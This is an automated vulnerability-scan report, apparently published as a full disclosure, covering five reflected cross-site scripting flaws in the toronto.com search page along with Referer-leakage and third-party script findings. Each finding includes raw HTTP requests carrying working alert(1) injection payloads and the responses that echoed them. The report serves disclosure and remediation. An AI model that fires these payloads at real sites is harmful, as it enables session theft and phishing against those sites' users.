Current Research | Full Disclosure | As of March 14, 2011

Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Sat Nov 20 14:23:04 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.toronto.com/searchResults [q parameter]

1.2. http://www.toronto.com/searchResults [q parameter]

1.3. http://www.toronto.com/searchResults [q parameter]

1.4. http://www.toronto.com/searchResults [q parameter]

1.5. http://www.toronto.com/searchResults [q parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include



1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.toronto.com/searchResults [q parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.toronto.com
Path:   /searchResults

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59ad6'%3balert(1)//0ef44670743 was submitted in the q parameter. This input was echoed as 59ad6';alert(1)//0ef44670743 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /searchResults?q=59ad6'%3balert(1)//0ef44670743 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.toronto.com
Pragma: no-cache
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; s_cc=true; s_lastvisit=1290202914169; s_sq=%5B%5BB%5D%5D; __utma=151952060.1810924912.1290202922.1290202922.1290202922.1; __utmc=151952060; __utmz=151952060.1290202922.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WRUID=0

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:05:44 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-5
cache-control: public, max-age = 86400
X-TOPS-CacheReason: TDCsearch
Date: Sat, 20 Nov 2010 05:04:46 GMT
X-Varnish: 2024419580
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 48841


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



...[SNIP]...
<span id="ctl00_ContentPlaceHolder_main_ResultsWP_BusinessListings_ctl00___SearchQueryDisplay__1">59ad6';alert(1)//0ef44670743</span>
...[SNIP]...

1.2. http://www.toronto.com/searchResults [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.toronto.com
Path:   /searchResults

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ef788"%3balert(1)//bebac2f2191 was submitted in the q parameter. This input was echoed as ef788";alert(1)//bebac2f2191 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /searchResults?q=ef788"%3balert(1)//bebac2f2191 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.toronto.com
Pragma: no-cache
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; s_cc=true; s_lastvisit=1290202914169; s_sq=%5B%5BB%5D%5D; __utma=151952060.1810924912.1290202922.1290202922.1290202922.1; __utmc=151952060; __utmz=151952060.1290202922.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WRUID=0

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:05:37 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-5
cache-control: public, max-age = 86400
X-TOPS-CacheReason: TDCsearch
Date: Sat, 20 Nov 2010 05:04:38 GMT
X-Varnish: 2024419008
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 47643


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



...[SNIP]...
<script>
yahooSeachSuggestion("ef788";alert(1)//bebac2f2191");
</script>
...[SNIP]...

1.3. http://www.toronto.com/searchResults [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.toronto.com
Path:   /searchResults

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e311b"><script>alert(1)</script>a905a10e114 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /searchResults?q=%27%27aee2d%3C/title%3E%3Cscript%3Ealert%281%29%3C/script%3EHoyt%20LLC%20PoC%20XSS%2011-19-2010e311b"><script>alert(1)</script>a905a10e114 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.toronto.com
Pragma: no-cache
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; s_cc=true; s_lastvisit=1290202914169; s_sq=%5B%5BB%5D%5D; __utma=151952060.1810924912.1290202922.1290202922.1290202922.1; __utmc=151952060; __utmz=151952060.1290202922.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WRUID=0

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:05:33 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-2
cache-control: public, max-age = 86400
X-TOPS-CacheReason: TDCsearch
Date: Sat, 20 Nov 2010 05:04:33 GMT
X-Varnish: 2024418657
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 45776


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



...[SNIP]...
</script>Hoyt LLC PoC XSS 11-19-2010e311b"><script>alert(1)</script>a905a10e114 - toronto.com" />
...[SNIP]...

1.4. http://www.toronto.com/searchResults [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.toronto.com
Path:   /searchResults

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 43054<script>alert(1)</script>a36e8682ea0 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /searchResults?q=%27%27aee2d%3C/title%3E%3Cscript%3Ealert%281%29%3C/script%3EHoyt%20LLC%20PoC%20XSS%2011-19-201043054<script>alert(1)</script>a36e8682ea0 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.toronto.com
Pragma: no-cache
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; s_cc=true; s_lastvisit=1290202914169; s_sq=%5B%5BB%5D%5D; __utma=151952060.1810924912.1290202922.1290202922.1290202922.1; __utmc=151952060; __utmz=151952060.1290202922.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WRUID=0

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:05:48 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-4
cache-control: public, max-age = 86400
X-TOPS-CacheReason: TDCsearch
Date: Sat, 20 Nov 2010 05:04:49 GMT
X-Varnish: 2024419966
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 45678


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



...[SNIP]...
</script>Hoyt LLC PoC XSS 11-19-201043054<script>alert(1)</script>a36e8682ea0 - toronto.com</title>
...[SNIP]...

1.5. http://www.toronto.com/searchResults [q parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.toronto.com
Path:   /searchResults

Issue detail

The value of the q request parameter is copied into the HTML document as text between TITLE tags. The payload f3b11</title><script>alert(1)</script>40f6cef0500 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /searchResults?q=f3b11</title><script>alert(1)</script>40f6cef0500 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.toronto.com
Pragma: no-cache
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; s_cc=true; s_lastvisit=1290202914169; s_sq=%5B%5BB%5D%5D; __utma=151952060.1810924912.1290202922.1290202922.1290202922.1; __utmc=151952060; __utmz=151952060.1290202922.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WRUID=0

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:05:53 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-5
cache-control: public, max-age = 86400
X-TOPS-CacheReason: TDCsearch
Date: Sat, 20 Nov 2010 05:04:54 GMT
X-Varnish: 2024420467
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 42607


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



...[SNIP]...
<title>Toronto, f3b11</title><script>alert(1)</script>40f6cef0500 - toronto.com</title>
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.toronto.com
Path:   /searchResults

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /searchResults?q=%27%27aee2d%3C/title%3E%3Cscript%3Ealert%281%29%3C/script%3EHoyt%20LLC%20PoC%20XSS%2011-19-2010 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.toronto.com
Pragma: no-cache
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; s_cc=true; s_lastvisit=1290202914169; s_sq=%5B%5BB%5D%5D; __utma=151952060.1810924912.1290202922.1290202922.1290202922.1; __utmc=151952060; __utmz=151952060.1290202922.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WRUID=0

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:04:58 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-1
cache-control: public, max-age = 86400
X-TOPS-CacheReason: TDCsearch
Date: Sat, 20 Nov 2010 05:04:00 GMT
X-Varnish: 2024416036 2024415805
Age: 1
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 1
Content-Length: 43669


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965516/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_237x90_1;size=237x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965516/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_237x90_1;size=237x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="237" height="90"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965555/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_728x90_1;size=728x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965555/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_728x90_1;size=728x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="728" height="90"></a>
...[SNIP]...
<div style="font-size:9px; padding-top:3px; font-weight:normal;"><a href="http://www.thestar.com/theweather/Canada/Ontario/Toronto" style="text-decoration:underline; color:#3870B1;" target="blank"><span style="color:#FFF; text-decoration:underline">
...[SNIP]...
<div style="padding-bottom: 2px">
<a href="http://www.toronto.ca/ttc/">
<img src="/App_Themes/standard/sitesponsors/TTC.gif" border="0" alt="TTC" />
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965660/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_670x75_1;size=670x75;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965660/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_670x75_1;size=670x75;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="670" height="75"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965602/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_670x75_2;size=670x75;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965602/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_670x75_2;size=670x75;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="670" height="75"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965652/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_670x75_3;size=670x75;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965652/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_670x75_3;size=670x75;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="670" height="75"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/1245417/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_1;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/1245417/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_1;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="135" height="68"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/989782/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_2;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/989782/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_2;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="135" height="68"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/1245418/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_3;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/1245418/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_3;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="135" height="68"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/1245415/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_4;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/1245415/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_135x68_4;size=135x68;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="135" height="68"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965578/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_1;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965578/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_1;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="120" height="90"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965696/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_2;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965696/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_2;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="120" height="90"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965634/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_3;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965634/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_3;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="120" height="90"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965669/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_4;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965669/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_120x90_4;size=120x90;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="120" height="90"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/965594/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_160x600_1;size=160x600;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/965594/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_160x600_1;size=160x600;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="160" height="600"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/906356/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_300x250_1;size=300x250;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/906356/0/-1/ADTECH;loc=100;alias=toronto.com_searchresults_300x250_1;size=300x250;key=%27%27aee2d</title><script>alert(1)</script>Hoyt LLC PoC XSS 11-19-2010;" border="0" width="300" height="250"></a>
...[SNIP]...
</script>
<script language="javascript" src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
</script>


<img src="https://na.decdna.net/n/64627/64632/PV/x/e?value=0&trans=&domain=na.decdna.net"
width="1" height="1" border="0">

   </div>
...[SNIP]...
<!-- javascript -->
<script type="text/javascript" src="http://eyereact.eyereturn.com/partner/?ID=5"></script>
...[SNIP]...
<noscript>
<img src="http://toronto.122.2O7.net/b/ss/toronto/1/H.1--NS/0" height="1" width="1" border="0" alt="" /></noscript>
...[SNIP]...
</div>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
</div>
<script src="http://s.clicktale.net/WRb.js" type="text/javascript"></script>
...[SNIP]...

3. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.toronto.com
Path:   /searchResults

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /searchResults?q=%27%27aee2d%3C/title%3E%3Cscript%3Ealert%281%29%3C/script%3EHoyt%20LLC%20PoC%20XSS%2011-19-2010 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.toronto.com
Pragma: no-cache
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; s_cc=true; s_lastvisit=1290202914169; s_sq=%5B%5BB%5D%5D; __utma=151952060.1810924912.1290202922.1290202922.1290202922.1; __utmc=151952060; __utmz=151952060.1290202922.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WRUID=0

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:04:58 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-1
cache-control: public, max-age = 86400
X-TOPS-CacheReason: TDCsearch
Date: Sat, 20 Nov 2010 05:04:00 GMT
X-Varnish: 2024416036 2024415805
Age: 1
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 1
Content-Length: 43669


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



...[SNIP]...
</script>
<script language="javascript" src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
<!-- javascript -->
<script type="text/javascript" src="http://eyereact.eyereturn.com/partner/?ID=5"></script>
...[SNIP]...
</div>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
</div>
<script src="http://s.clicktale.net/WRb.js" type="text/javascript"></script>
...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 14:23:04 CST 2010.